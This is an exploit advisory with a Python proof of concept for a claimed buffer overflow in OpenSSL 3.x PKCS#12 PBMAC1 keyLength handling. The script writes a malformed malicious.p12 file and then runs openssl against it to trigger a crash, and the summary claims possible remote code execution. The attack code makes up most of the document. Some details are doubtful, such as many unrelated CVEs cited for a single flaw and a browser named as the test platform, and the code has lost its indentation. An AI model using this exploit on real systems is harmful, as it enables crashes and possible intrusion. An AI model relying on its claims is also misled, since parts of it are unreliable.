OpenSSL 3.x PKCS#12 PBMAC1 KeyLength Buffer Overflow

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| # Title OpenSSL 3.x PKCS#12 PBMAC1 KeyLength Buffer Overflow

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| # Title : OpenSSL 3.x PKCS#12 PBMAC1 KeyLength Buffer Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.openssl-library.org/ |
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[+] References : https://packetstorm.news/files/id/214422/ & CVE-2025-11187, CVE-2025-15467, CVE-2025-15468, CVE-2025-15469, CVE-2025-66199,
CVE-2025-68160, CVE-2025-69418, CVE-2025-69419, CVE-2025-69420, CVE-2025-69421,
CVE-2026-22795, CVE-2026-22796

[+] Summary : This Proof of Concept demonstrates a buffer overflow vulnerability in OpenSSL versions 3.4 to 3.6 related to improper handling of the PBMAC1 keyLength parameter in PKCS#12 files.
By crafting a malicious PKCS#12 structure with an excessively large keyLength value, the PoC triggers a memory overflow in the MAC processing logic,
potentially leading to a segmentation fault and, under certain conditions, remote code execution (RCE).
The exploit works by abusing ASN.1-encoded PBMAC1 parameters, specifically exceeding the expected 64?byte buffer used internally by OpenSSL.
When the generated malicious.p12 file is parsed using the openssl pkcs12 command, vulnerable versions may crash or hang, indicating successful triggering of the flaw.

[+] POC :

#!/usr/bin/env python3

import struct
import os
from hashlib import sha256

def create_malicious_pkcs12():

pkcs12_template = bytes([

0x30, 0x82, 0xFF, 0xFF,

0x02, 0x01, 0x03,

0x30, 0x82, 0xFF, 0xFF,

0x30, 0x82, 0xFF, 0xFF,
0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01,
0xA0, 0x82, 0xFF, 0xFF,

0xA0, 0x82, 0xFF, 0xFF,
0x04, 0x82, 0xFF, 0xFF,
])

macdata = bytearray()

macdata.extend(b'\x30\x82\xFF\xFF')

macdata.extend(b'\x30\x0D')
macdata.extend(b'\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x01')
macdata.extend(b'\x05\x00')

macdata.extend(b'\x04\x20')
macdata.extend(os.urandom(32))

macdata.extend(b'\x02\x04\x00\x00\x27\x10') # 10000 iterations
macdata.extend(b'\x30\x82\xFF\xFF')

macdata.extend(b'\x02\x04')
keylength = 1000
macdata.extend(struct.pack('>I', keylength))
macdata.extend(b'\x30\x0C')
macdata.extend(b'\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x01')
macdata.extend(b'\x05\x00')
output = bytearray(pkcs12_template)
fake_data = b'\x00' * 100
output.extend(fake_data)
macdata_pos = len(output)
output.extend(macdata)
def set_length(data, pos, length):
if length < 128:
data[pos] = 0x80 + 1
data[pos+1] = length
return 2
else:
len_bytes = (length.bit_length() + 7) // 8
data[pos] = 0x80 + len_bytes + 1
data[pos+1] = 0x80 + len_bytes
for i in range(len_bytes):
data[pos+2+i] = (length >> (8*(len_bytes-1-i))) & 0xFF
return len_bytes + 2
macdata_len = len(macdata) - 4 # Minus the SEQUENCE header
len_bytes = set_length(output, macdata_pos + 1, macdata_len)
with open('malicious.p12', 'wb') as f:
f.write(output)

print("[+] Created malicious PKCS#12 file: malicious.p12")
print(f"[+] KeyLength parameter: {keylength} bytes (buffer is 64 bytes)")
print("[!] When opened with: openssl pkcs12 -info -in malicious.p12")

def test_with_openssl():

import subprocess

print("\n[*] Testing with OpenSSL...")
try:
result = subprocess.run(
['openssl', 'pkcs12', '-info', '-in', 'malicious.p12', '-passin', 'pass:'],
capture_output=True,
text=True,
timeout=5
)
print(f"Return code: {result.returncode}")
if "Segmentation fault" in result.stderr or "buffer overflow" in result.stderr:
print("[+] Vulnerability triggered!")
elif result.returncode != 0:
print(f"[!] OpenSSL crashed with: {result.stderr[:200]}")
else:
print("[-] No crash - maybe patched or wrong OpenSSL version")
except subprocess.TimeoutExpired:
print("[+] OpenSSL appears to have hung/crashed")
except FileNotFoundError:
print("[-] OpenSSL not found in PATH")

if __name__ == "__main__":
print("=== CVE-2025-11187 PoC - PKCS#12 PBMAC1 Buffer Overflow ===\n")
create_malicious_pkcs12()
test_with_openssl()

print("\n[*] For manual testing:")
print(" $ openssl pkcs12 -info -in malicious.p12 -noout")
print(" Expected: segmentation fault or buffer overflow detection")

summary en titel

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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